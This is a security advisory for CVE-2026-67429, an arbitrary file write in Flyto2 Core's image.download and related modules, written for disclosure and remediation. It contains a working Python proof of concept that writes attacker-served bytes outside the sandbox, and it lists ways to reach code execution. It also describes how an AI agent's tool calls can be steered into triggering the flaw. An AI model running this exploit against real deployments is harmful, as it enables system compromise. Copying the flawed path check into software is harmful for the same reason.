CVE-2026-67429: Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)
Summary
image.download fetches a URL and writes the response to disk. It does not use the central path guard (validatepathwithenvconfig, which confines writes to FLYTOSANDBOXDIR); instead it confines the output to outputdir, but outputdir is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.
Affected code
src/core/modules/atomic/image/download.py:
python outputpath = params.get('outputpath') outputdir = params.get('outputdir', '/tmp') # caller-controlled base ... basereal = os.path.realpath(outputdir) targetreal = os.path.realpath(outputpath) if os.path.commonpath([basereal, targetreal]) != basereal: raise Exception('Invalid file path') # base is attacker-chosen, so always passes ... content = await response.read() # attacker-hosted bytes with open(targetreal, 'wb') as f: f.write(content)
commonpath is used correctly, but the base is caller-supplied, so setting outputdir='/' passes any target. file.write, by contrast, uses validatepathwithenvconfig() and stays inside FLYTOSANDBOXDIR.
This is not isolated to image.download. Most other file-writing modules write to a caller outputpath with no path check at all: image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcodegenerate, document.excelwrite, document.pdffillform, document.wordtopdf, document.pdftoword and browser.pagination. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; image.download is the strongest because the bytes are arbitrary.
Reproduction
Save as filewritepoc.py, run with PYTHONPATH=src/src python filewritepoc.py. It sets FLYTOSANDBOXDIR to a sandbox dir and writes to a sibling directory outside it.
python #!/usr/bin/env python3 import asyncio import os import tempfile import threading from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["FLYTOALLOWEDHOSTS"] = "localhost" # let the content host pass the SSRF check EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n"
class Content(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200); self.sendheader("Content-Type", "image/jpeg") self.sendheader("Content-Length", str(len(EVIL))); self.endheaders(); self.wfile.write(EVIL) def logmessage(self, a): pass
async def run(mid, params): from core.modules.registry import ModuleRegistry try: return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={})) except Exception as e: return ("EXC", f"{type(e).name}: {e}")
async def main(): from core.modules.atomic import registerall registerall() threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serveforever, daemon=True).start() root = tempfile.mkdtemp(prefix="flytopoc") sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox) escape = os.path.join(root, "ESCAPE"); os.makedirs(escape) os.environ["FLYTOSANDBOXDIR"] = sandbox target = os.path.join(escape, "pwned") # OUTSIDE the sandbox print("A) file.write:", await run("file.write", {"path": target, "content": "x"})) print("B) image.download:", await run("image.download", { "url": "http://localhost:8080/x.jpg", "outputdir": escape, "outputpath": target})) print("file written outside sandbox?", os.path.exists(target)) if os.path.exists(target): print("content:", open(target, "rb").read())
if name == "main": asyncio.run(main())
Output:
A) file.write: ('EXC', 'ModuleError: [PATHTRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...') B) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...}) file written outside sandbox? True content: b'#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n'
file.write refuses the out-of-sandbox path; image.download writes attacker bytes there. Reproduced through the running HTTP API as well.
Reachability (why this is not operator self-service)
outputdir, outputpath and url are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic executemodule(moduleid, params) MCP tool (core/mcphandler.py, params taken from the model's arguments) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. FLYTOSANDBOXDIR and the guard file.write uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.
Impact
Write arbitrary content to an arbitrary path outside the operator's sandbox — overwrite config, drop a shell profile, cron job or authorizedkeys, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).
Suggested fix
Use validatepathwithenvconfig() for every module that writes files, so all writes are confined to FLYTOSANDBOXDIR (a base the caller cannot change), never to a caller-supplied outputdir.
Other sources
Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, image.download and related file-writing modules use caller-controlled outputdir instead of validatepathwithenvconfig and its FLYTOSANDBOXDIR confinement, allowing attacker-controlled response bytes to be written to arbitrary filesystem paths the process can access. This issue is fixed in version 2.26.6.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/flyto-coreto a version that resolves this vulnerability.Fixed in 2.26.7 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 2.26.6 - Configuration
Update Flyto2 Core so every module that writes files calls validate_path_with_env_config() and writes only within FLYTO_SANDBOX_DIR (the guard base). Do not write to caller-supplied output_dir/output_path. Specifically address image.download (and other listed file-writing modules) which currently confine only to output_dir (caller-controlled) and may write outside the sandbox.
Flyto2 Core file-writing modules (e.g., src/core/modules/atomic/image/download.py and related modules) Use validate_path_with_env_config() for all file writes; confine writes to FLYTO_SANDBOX_DIR instead of caller-supplied output_dir/output_path = validate_path_with_env_config()
Event History
Frequently Asked Questions
What is the severity of CVE-2026-67429?
CVE-2026-67429 has a critical severity rating of 10.
What types of systems are affected by CVE-2026-67429?
CVE-2026-67429 affects systems running versions of Flyto2 Core prior to 2.26.6.
How do I fix CVE-2026-67429?
To fix CVE-2026-67429, update Flyto2 Core to version 2.26.6 or later.
What kind of attacks are possible with CVE-2026-67429?
CVE-2026-67429 allows arbitrary file writing, which could lead to further system compromise.
What components of Flyto2 Core are vulnerable in CVE-2026-67429?
Components such as image.download and other related file-writing modules are vulnerable in CVE-2026-67429.